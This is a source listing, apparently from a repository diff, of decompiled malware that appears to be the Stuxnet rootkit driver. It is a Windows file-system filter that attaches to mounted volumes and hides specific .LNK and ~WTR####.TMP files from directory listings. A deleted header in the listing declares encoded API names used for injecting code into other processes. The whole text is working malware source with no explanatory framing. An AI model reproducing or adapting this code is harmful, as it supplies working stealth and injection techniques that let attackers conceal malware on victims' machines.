----------------------------------------------------------------------**/
VOID OnFileSystemControl(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
if (Irp->Tail.Overlay.CurrentStackLocation->MinorFunction == IRP_MN_MOUNT_VOLUME){
SetCompletionFileControl(DeviceObject,Irp);
}else{
return CallDriver(DeviceObject,Irp);
}
};
VOID SetCompletionFileControl(PDEVICE_OBJECT TargetDevice,PIRP Irp)
{
PDEVICE_OBJECT DeviceObject = 0;
if (CreateDevice(TargetDevice,&DeviceObject) != STATUS_SUCCESS){
Irp->IoStatus.Information=0;
Irp->IoStatus.Status=STATUS_SUCCESS;
IoCompleteRequest(Irp,0);
return;
};
SetZero(DeviceObject->DeviceExtension,Irp->Tail.Overlay.CurrentStackLocation->Parameters.MountVolume.Vpb->RealDevice);
if (SetFSCompletionRoutine(DeviceObject,Irp) == 0){
Irp->CurrentLocation++;
Irp->Tail.Overlay.CurrentStackLocation = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation + (ULONG)sizeof(IO_STACK_LOCATION));// 0x24);
};
return IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp);
};
NTSTATUS SetFSCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
int i;
ULONG* CurrentStack;
ULONG* PrevStack;
PIO_STACK_LOCATION PrevIrpStack;
PDEVICE_OBJECT* Buff=ExAllocatePool(0,4);
if (Buff==0){
return 0;
};
*Buff = DeviceObject;
CurrentStack = Irp->Tail.Overlay.CurrentStackLocation;
PrevStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
for (i = 0;i<8;i++){
PrevStack[i]=CurrentStack[i];
};
PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
PrevIrpStack->Control=0;
PrevIrpStack->Context = Buff;
PrevIrpStack->CompletionRoutine = FileControlCompletionRoutine;
PrevIrpStack->Control=0xE0;
return 1;
};
NTSTATUS FileControlCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context)
{
PDEVICE_OBJECT TargetDevice;
TargetDevice = ((PDEVICE_EXTENSION)((*Context)->DeviceExtension))->RealDevice->Vpb->DeviceObject;
if (Irp->IoStatus.Status != STATUS_SUCCESS)
{
IoDeleteDevice(DeviceObject);
ExFreePoolWithTag(Context,0);
}
if (IsAllreadyAttached(TargetDevice) == TRUE){
IoDeleteDevice(DeviceObject);
ExFreePoolWithTag(Context,0);
return STATUS_SUCCESS;
};
if (AttachDelayThread(*Context,TargetDevice) != TRUE){
IoDeleteDevice(DeviceObject);
};
ExFreePoolWithTag(Context,0);
return STATUS_SUCCESS;
};
BOOLEAN AttachDelayThread(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice)
{
LARGE_INTEGER Interval;
int i;
SettingFlags(DeviceObject,TargetDevice);
for ( i = 0;i<8 ;i++){
if (AttachToStack(DeviceObject,TargetDevice,DeviceObject->DeviceExtension)== TRUE){
return TRUE;
};
*((ULONG*)((ULONG)&Interval+(ULONG)4)) = -1;
*((ULONG*)&Interval) = -5000000;
KeDelayExecutionThread(0,FALSE,&Interval);
};
return FALSE;
};
/**-------------------------------------------------------------------
Directory Control
----------------------------------------------------------------------**/
VOID OnDirectoryControl(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
if (Irp->Tail.Overlay.CurrentStackLocation->MinorFunction == IRP_MN_QUERY_DIRECTORY){
SetCompletionDirControl(DeviceObject,Irp);
}else{
return CallDriver(DeviceObject,Irp);
}
};
VOID SetCompletionDirControl(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
PUNICODE_STRING Filename;
PIO_STACK_LOCATION CurrentStack;
PIO_STACK_LOCATION PrevStack;
PIO_STACK_LOCATION PrevIrpStack;
int i;
CurrentStack = Irp->Tail.Overlay.CurrentStackLocation;
if (!(CurrentStack->FileObject->Flags & 0x400000) && CurrentStack->FileObject != 0){
Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.FileName = 0; //Clear Filename
if (CurrentStack->FileObject != 0)CurrentStack->FileObject->Flags &= 0x400000;
CallDriver(DeviceObject,Irp);
}
Filename = CurrentStack->Parameters.QueryDirectory.FileName;
if (Filename != 0 && Filename->Length == 0x4C /*The Size of BannedDirectory*/ ){
for (i =0;i< 19; i++)
{
if ((ULONG)BannedDirecoty[i] == (ULONG)Filename->Buffer[i]){
goto Error;
};
};
goto Inject;
Error:
CurrentStack->Parameters.QueryDirectory.FileName = 0; //Clear Filename
if (Irp->Tail.Overlay.CurrentStackLocation->FileObject != 0)Irp->Tail.Overlay.CurrentStackLocation->FileObject->Flags &= 0x400000;
CallDriver(DeviceObject,Irp);
return;
};
Inject:
CurrentStack->Control=1;
PrevStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
for (i = 0;i<8;i++){
PrevStack[i]=CurrentStack[i];
};
PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
PrevIrpStack->Control = 0;
PrevIrpStack->Context = 0;
PrevIrpStack->CompletionRoutine = DirectoryCompletionRoutine;
PrevIrpStack->Control=0xE0;
return IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp);
};
NTSTATUS DirectoryCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context)
{
ULONG EndOfFile;
ULONG FilenameOffset;
ULONG LclContext;
ULONG FilenameLength;
PVOID mmFiles;
LclContext = (ULONG)Context;
if (Irp->IoStatus.Status != STATUS_SUCCESS){
FreeMdl(Irp,LclContext);
return 0;
};
if (GetOffsets(Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.FileInformationClass, \
&EndOfFile,&FilenameOffset,&FilenameLength) == 0){
FreeMdl(Irp,LclContext);
return 0;
};
if (Irp->MdlAddress != 0){
if (Irp->MdlAddress->MdlFlags == 5){
//maps the physical pages that are described by The MDL to a virtual address
mmFiles=MmMapLockedPagesSpecifyCache(Irp->MdlAddress,0,MmCached,0,0,0x10);
if (mmFiles == 0){
FreeMdl(Irp,LclContext);
return 0;
};
}else if (Irp->MdlAddress->MappedSystemVa == 0){
FreeMdl(Irp,LclContext);
return 0;
};
}else{
mmFiles=Irp->UserBuffer;
};
if (FileCheck(mmFiles,Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.Length, \
EndOfFile,FilenameOffset,FilenameLength) != 0){
Irp->IoStatus.Status = STATUS_SUCCESS;
FreeMdl(Irp,Context);
return 0;
};
if (Irp->MdlAddress == 0){
LclContext = ExAllocatePool(0,4);
if (LclContext == 0 || AllocateMdl(LclContext,Irp,Irp->Tail.Overlay.CurrentStackLocation) == 0){
FreeMdl(Irp,LclContext);
Irp->IoStatus.Status=0x0C000009A;
return 0;
};
};
Irp->IoStatus.Status = CreateWorkRoutine(DeviceObject,Irp->Tail.Overlay.CurrentStackLocation,Irp,LclContext);
return;
};
VOID FreeMdl(PIRP Irp,PMDL* Context)
{
if (Irp->MdlAddress == *Context){
Irp->MdlAddress=0;
MmUnlockPages((PMDL)*Context);
IoFreeMdl(*Context);
};
ExFreePoolWithTag(*Context,0);
};
ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_STACK_LOCATION CurrentStack)
{
PMDL pMdl;
pMdl = IoAllocateMdl(Irp->UserBuffer,CurrentStack->Parameters.QueryDirectory.Length,0,0,Irp);
if (pMdl ==0){
return 0;
};
MmProbeAndLockPages(pMdl,0,IoModifyAccess);
Irp->MdlAddress = pMdl;
*LclContext = pMdl;
return 1;
};
ULONG CreateWorkRoutine(PDEVICE_OBJECT DeviceObject,PIO_STACK_LOCATION CurrentStack,PIRP Irp,PVOID LclContext)
{
PLARGE_INTEGER pPool;
PIO_STACK_LOCATION PrevIrpStack;
int i;
pPool = ExAllocatePool(0,8);
if (pPool == 0){
return 0xC000009A;
};
pPool->u.LowPart = IoAllocateWorkItem(DeviceObject);
if (pPool->u.LowPart == 0){
return 0xC000009A;
};
pPool->u.HighPart=Irp;
CurrentStack->Flags &= 0xFE;
CurrentStack->Parameters.QueryDirectory.FileIndex =0;
Irp->Tail.Overlay.CurrentStackLocation->Control |= 1;
PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
for (i = 0;i<8;i++){
PrevIrpStack[i]=CurrentStack[i];
};
PrevIrpStack->Control=0;
PrevIrpStack->Context = LclContext;
PrevIrpStack->CompletionRoutine = DirectoryCompletionRoutine;
PrevIrpStack->Control=0xE0;
IoQueueWorkItem(pPool->u.LowPart,WorkerRoutine,1,pPool);
return 0xC0000016;
};
NTSTATUS WorkerRoutine(PDEVICE_OBJECT DeviceObject,PLARGE_INTEGER Context)
{
IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Context->u.HighPart);
IoFreeWorkItem(Context->u.LowPart);
ExFreePoolWithTag(Context,0);
return STATUS_SUCCESS;
};
/**-------------------------------------------------------------------
File Checking
----------------------------------------------------------------------**/
ULONG GetOffsets(ULONG FileInformationClass,ULONG* EndOfFile,ULONG* FilenameOffset,ULONG* FilenameLength)
{
switch (FileInformationClass) {
case FileBothDirectoryInformation :
*EndOfFile = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, EndOfFile);
*FilenameOffset = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, FileName);
case FileDirectoryInformation:
*EndOfFile = FIELD_OFFSET(FILE_DIRECTORY_INFORMATION, EndOfFile);
*FilenameOffset = FIELD_OFFSET(FILE_DIRECTORY_INFORMATION, FileName);
case FileFullDirectoryInformation:
*EndOfFile = FIELD_OFFSET( FILE_FULL_DIR_INFORMATION , EndOfFile);
*FilenameOffset = FIELD_OFFSET( FILE_FULL_DIR_INFORMATION , FileName);
case FileIdBothDirectoryInformation:
*EndOfFile = FIELD_OFFSET( FILE_ID_BOTH_DIR_INFORMATION, EndOfFile);
*FilenameOffset = FIELD_OFFSET( FILE_ID_BOTH_DIR_INFORMATION, FileName);
case FileIdFullDirectoryInformation:
*EndOfFile = FIELD_OFFSET( FILE_ID_FULL_DIR_INFORMATION, EndOfFile);
*FilenameOffset = FIELD_OFFSET( FILE_ID_FULL_DIR_INFORMATION, FileName);
case FileNamesInformation:
*EndOfFile = -1;
*FilenameOffset = FIELD_OFFSET( FILE_NAMES_INFORMATION, FileName);
*FilenameLength = FIELD_OFFSET(FILE_NAMES_INFORMATION, FileNameLength);
return 1;
default:
return 0;
};
*FilenameLength = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, FileNameLength);
return 1;
};
ULONG FileCheck (ULONG* UserBuffer,ULONG NextEntryOffset,ULONG EndOfFile,ULONG FilenameOffset,ULONG FilenameLength)
{
LARGE_INTEGER FileSize;
ULONG EntryPtr;
ULONG PrevOffset;
PCWSTR Filename;
ULONG Length;
EntryPtr = 0;
PrevOffset = NextEntryOffset;
(ULONG)UserBuffer &= 0xFFFFFF00;
if (NextEntryOffset == 0){
return 1;
};
do{
NextEntryOffset = *UserBuffer;
if (EndOfFile == -1){ //FileNamesInformation
FileSize.u.LowPart=0;
FileSize.u.HighPart=0;
};
FileSize.u.LowPart = *((ULONG*)((ULONG)UserBuffer + EndOfFile));
FileSize.u.HighPart = *((ULONG*)((ULONG)UserBuffer + EndOfFile + 4));
Length = *((ULONG*)((ULONG)UserBuffer + FilenameLength));
Filename = (PCWSTR)((ULONG)UserBuffer + FilenameOffset);
if (Length & 1){ //mean couldn't be divided by 2 (That's will be strange because it's a unicode string (Wide char))
EntryPtr = UserBuffer;
UserBuffer+=NextEntryOffset;
(ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1
PrevOffset -= NextEntryOffset;
continue;
};
Length -= FilenameOffset; //I don't know why
Length /= 2; //number of characters
if ((((FileSize.u.HighPart != -1) && (FileSize.u.LowPart != -1)) || (FileSize.u.HighPart == 0 && FileSize.u.LowPart == 4171)) && (Length > 4)){
if (StrCheck(L".LNK",&Filename[Length -4],4) != 0){
memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
PrevOffset -= NextEntryOffset;
continue;
};
};
if (TMPCheck(Filename,Length,FileSize.u.LowPart,FileSize.u.HighPart) ==0){
EntryPtr = UserBuffer;
UserBuffer+=NextEntryOffset;
(ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1
}else{
if (NextEntryOffset != 0){
memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
}else{
if (EntryPtr !=0)EntryPtr = 0;
break;
};
};
PrevOffset -= NextEntryOffset;
}while ( PrevOffset != 0);
return ((ULONG)UserBuffer & 1); // cmp byte ptr [ebp+UserBuffer+3], 0 / setnz al
};
ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size)
{
WCHAR chr;
if (TargetString[0] == 0) return 1;
do{
if (Size == 0)return 0;
chr = toupper(SourceString[0]);
if (chr != toupper(TargetString[0]))return 0;
(ULONG)SourceString += 2;
(ULONG)TargetString += 2;
Size--;
}while(TargetString[0] !=0);
return 1;
};
ULONG TMPCheck(PCWSTR Filename,int Length,int LowPart,int HighPart)
{
int i;
WCHAR chr;
int Mod = 0;
if (!(LowPart == -1 && HighPart == -1) && (HighPart == 0 || LowPart < 4096 || LowPart > 8388608)) return 0;
if (Length !=12)return 0;
if (StrCheck(L".TMP",&Filename[Length -4],4) == 0)return 0;
if (StrCheck(L"~WTR",Filename,4) == 0)return 0;
for (i = 4;i < 8; i++){
chr = Filename[i];
if (chr<'0' || chr >'9')return 0;
Mod =(chr - 0x30 + Mod) % 10;
};
if (Mod == 0)return 1;
return 0;
};

60
data.h
View File

@@ -1,60 +0,0 @@
/******************************************************************************************
Copyright 2012-2013 Christian Roggia
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
******************************************************************************************/
#ifndef __DATA_H__
#define __DATA_H__
#include "define.h"
#pragma pack(push)
#pragma pack(4)
const WCHAR ENCODED_KERNEL32_DLL_ASLR__08x[23];
const char ENCODED_lstrcmpiW[20];
const char ENCODED_VirtualQuery[26];
const char ENCODED_VirtualProtect[30];
const char ENCODED_GetProcAddress[30];
const char ENCODED_MapViewOfFile[28];
const char ENCODED_UnmapViewOfFile[32];
const char ENCODED_FlushInstructionCache[44];
const char ENCODED_LoadLibraryW[26];
const char ENCODED_FreeLibrary[24];
const char ENCODED_ZwCreateSection[32];
const char ENCODED_ZwMapViewOfSection[38];
const char ENCODED_CreateThread[26];
const char ENCODED_WaitForSingleObject[40];
const char ENCODED_GetExitCodeThread[36];
const char ENCODED_ZwClose[16];
const char ENCODED_CreateRemoteThread[38];
const char ENCODED_NtCreateThreadEx[34];
const WCHAR ENCODED_KERNEL32_DLL[13];
const WCHAR ENCODED_NTDLL_DLL[10];
#pragma pack(pop)
//const char szEncryptedSectionMark[5];
static BOOL bSetup;
static PVOID s_ASMCodeBlocksPTR;
static PVOID s_virusBlocksPTR;
static PVOID s_codeBlockPTR;
static HINSTANCE hINSTANCE;
#endif